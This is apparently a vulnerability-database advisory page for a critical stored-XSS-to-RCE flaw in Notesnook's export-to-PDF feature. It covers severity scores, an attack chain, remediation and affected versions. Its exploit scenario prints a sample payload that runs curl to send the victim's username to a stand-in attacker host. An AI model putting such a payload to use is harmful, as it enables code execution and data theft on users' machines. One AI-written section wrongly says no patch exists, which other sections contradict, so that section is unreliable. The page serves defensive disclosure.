Skip to main content

Notesnook EUVDEUVD-2026-27019

| CVE-2026-42090 CRITICAL
Cross-site Scripting (XSS) (CWE-79)
2026-05-04 GitHub_M
9.6
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Craft malicious note with JavaScript
  2. Delivery
    Deliver note via sync/import/sharing
  3. Exploit
    Victim opens note in Notesnook
  4. Install
    Victim triggers Export to PDF
  5. C2
    Unescaped HTML renders in Electron iframe
  6. Execute
    JavaScript executes with Node.js APIs
  7. Impact
    Arbitrary code runs with user privileges

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the victim to perform two deliberate actions: first, the victim must have a malicious note present in their Notesnook database (either by importing untrusted content, syncing from a compromised account, or opening a malicious .nn file), and second, the victim must explicitly trigger the Export to PDF function on that specific note. The RCE component only affects Notesnook Desktop running on Electron with nodeIntegration: true and contextIsolation: false configurations (default in vulnerable versions). Mobile platforms (iOS/Android) are limited to XSS-based information disclosure within the app sandbox due to WebView security boundaries. Attack complexity is low (AC:L) once the malicious note is in place-no special timing, race conditions, or system configurations are required beyond the default vulnerable Electron settings. User interaction requirement (UI:R) is the primary limiting factor: unlike drive-by exploits, this cannot execute silently and requires explicit user action on the malicious note. No authentication required (PR:N) means any note content-whether from anonymous sharing, public repositories, or guest collaboration-can deliver the payload. The changed scope (S:C) reflects escape from the application's intended browser sandbox to full operating system access.

Impact

Real-world risk assessment reveals a critical vulnerability with important practical limitations. The CVSS 9.6 score accurately reflects technical severity: network attack vector (AV:N) with low complexity (AC:L), no privileges required (PR:N), changed scope (S:C) representing container escape from browser to OS context, and full CIA triad impact (C:H/I:H/A:H). However, mandatory user interaction (UI:R) creates a significant practical barrier-an attacker must socially engineer the victim to import a malicious note AND trigger the export-to-PDF function. The attack chain requires: (1) attacker shares/syncs malicious note content to victim's Notesnook instance, (2) victim opens the note, (3) victim explicitly initiates PDF export. This multi-step process substantially reduces weaponization potential compared to silent drive-by exploits. No EPSS score or KEV status provided in input data, preventing assessment of observed exploitation activity. The vulnerability's disclosure through GitHub Security Advisory (GHSA-fjm8-jg78-89h4) with coordinated patch releases suggests responsible disclosure without evidence of prior exploitation. Patch availability across all platforms (Desktop 3.3.15, Mobile 3.3.20) within a single coordinated release indicates vendor treated this as high priority. Primary risk exists in shared/collaborative note-taking scenarios where users routinely import content from semi-trusted sources, or in targeted attacks against high-value individuals using Notesnook for sensitive information. Desktop users face RCE risk; mobile users face credential theft/data exfiltration limited to app sandbox.

Exploit ScenarioDerived

Attacker crafts a Notesnook note with malicious JavaScript embedded in the title or content fields, such as <img src=x onerror="require('child_process').exec('curl attacker.com/$(whoami)')">. The attacker shares this note with the victim through Notesnook's sync feature, email export, or by social engineering the victim to import a .nn file. When the victim opens the note in Notesnook Desktop and uses the Export to PDF feature, the application renders the unescaped HTML into an iframe with Node.js integration enabled. The injected JavaScript executes with full system privileges, allowing the attacker to execute arbitrary commands, install persistent backdoors, exfiltrate the victim's note database (potentially containing credentials, API keys, or sensitive business information), or pivot to the local network. No public exploit code confirmed in provided data, but the technical details in the GitHub Security Advisory provide sufficient information for skilled attackers to develop working exploits.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 04, 2026

Remote code execution in Notesnook Desktop (Electron-based) via stored XSS in the note export-to-PDF flow allows unauthenticated remote attackers to execute arbitrary code when a user opens a maliciously crafted note. The vulnerability stems from unescaped HTML in exported note fields (title, headline, content) that execute in an Electron iframe with nodeIntegration enabled and contextIsolation disabled, escalating browser-based XSS to full RCE. Affects Notesnook Web/Desktop <3.3.15 and iOS/Android <3.3.20. CVSS 9.6 with changed scope (S:C) reflects privilege escalation from browser context to system-level code execution. EPSS and KEV data not provided, but requires user interaction (UI:R) to export/view the malicious note, limiting automated exploitation.

RemediationAI

Upgrade immediately to Notesnook Desktop/Web version 3.3.15 or later (https://github.com/streetwriters/notesnook/releases/tag/v3.3.15) and Notesnook iOS/Android version 3.3.20 or later (https://github.com/streetwriters/notesnook/releases/tag/3.3.20-android). Desktop users face critical RCE exposure and should prioritize this update. Until patching is complete, implement these compensating controls: (1) Disable or avoid using the Export to PDF feature entirely-this completely eliminates the attack vector but removes key functionality; (2) Do not import notes from untrusted sources or shared note repositories until upgraded; (3) Review existing notes for suspicious HTML/JavaScript content in title and body fields, particularly script tags, event handlers (onerror, onload), or data: URIs; (4) On Desktop, consider running Notesnook in a sandboxed environment (VM, container, or restricted user account) to contain potential RCE impact, though this adds operational overhead. No server-side or network-level mitigations are effective since the vulnerability exists in client-side rendering logic. Organizations using Notesnook in shared/collaborative environments should audit note access logs and treat all notes created or modified before patch deployment as potentially malicious. The vendor's coordinated cross-platform patch release suggests no architectural workarounds exist-upgrading is the definitive solution.

Affected VersionsENISA

notesnook Notesnook Web/Desktop < 3.3.15
notesnook Notesnook iOS/Android < 3.3.20

Affected Packages

euvd notesnook_notesnook_ios_android fix: 3.3.20
euvd notesnook_notesnook_web_desktop fix: 3.3.15

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Notesnook is a cross-platform note-taking application built on Electron for desktop and native mobile frameworks. The vulnerability exploits the PDF export feature's HTML rendering pipeline. When exporting notes to PDF, the application generates an HTML template by directly inserting user-controlled fields (title, headline, note content) without HTML entity encoding. This HTML is then rendered into an iframe using the srcdoc attribute (iframe.srcdoc = ...), which loads content in the same origin as the parent application. The root CWE-79 (Cross-Site Scripting) is escalated to RCE through Electron's insecure configuration: nodeIntegration: true grants iframe content access to Node.js APIs including require(), child_process, and fs modules, while contextIsolation: false removes the security boundary between web content and Electron's privileged context. This configuration pattern directly violates Electron security best practices (Electron Security Checklist items 2 and 3). The affected CPE cpe:2.3:a:streetwriters:notesnook:*:*:*:*:*:*:*:* confirms streetwriters as vendor. Mobile versions (iOS/Android) are also vulnerable to the underlying XSS but lack the Electron-specific RCE vector, limiting impact to information disclosure within the WebView context.

Know when Notesnook gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 9.6 CRITICAL
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Primary rating from Vendor (GitHub_M) · only source for this CVE.

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
Patch available
May 04, 2026 - 18:32 EUVD
Patch released
May 04, 2026 - 17:16 nvd
Patch available
CVE Published
May 04, 2026 - 16:43 nvd
CRITICAL 9.6

DescriptionCVE.org

Notesnook is a note-taking app focused on user privacy & ease of use. Prior to Notesnook Web/Desktop version 3.3.15 and prior to Notesnook iOS/Android version 3.3.20, a stored XSS vulnerability in the note export flow can be escalated to remote code execution in the desktop app. The root cause is that exported note fields such as title, headline, and content are inserted into the generated HTML template without HTML escaping. When the note is later exported to PDF, Notesnook renders that HTML into a same-origin, unsandboxed iframe using iframe.srcdoc = .... Injected script executes in the Notesnook origin. In the desktop app, this becomes RCE because Electron is configured with nodeIntegration: true and contextIsolation: false. This issue has been patched in Notesnook Web/Desktop version 3.3.15 and Notesnook iOS/Android version 3.3.20.

Executive ViewAI

Why It Matters

Notesnook Desktop versions below 3.3.15 contain a critical remote code execution vulnerability that allows attackers to execute arbitrary system commands through maliciously crafted notes. An unauthenticated attacker can deliver a crafted note that, when exported to PDF or viewed by a user, executes malicious code with full system privileges, potentially compromising user data, credentials, and system integrity. Organizations using Notesnook Desktop for sensitive note-taking should treat this as an urgent security incident requiring immediate user communication and environment assessment.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Disable or restrict PDF export functionality at application or network level until patch confirmed available; (2) Prohibit opening notes from untrusted sources; (3) Isolate affected systems from sensitive data networks; (4) Monitor process execution and file access originating from Notesnook application paths; (5) Instruct users to avoid exporting notes to PDF until updated version is deployed; (6) Consider alternative note-taking applications without Electron-based architecture as interim measure for critical workflows.

Threat Intelligence Overview

EPSS Score
0.2%
Top 64% exploitable
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
Very High
Technical Impact
Total

Priority Score

48
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +48
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy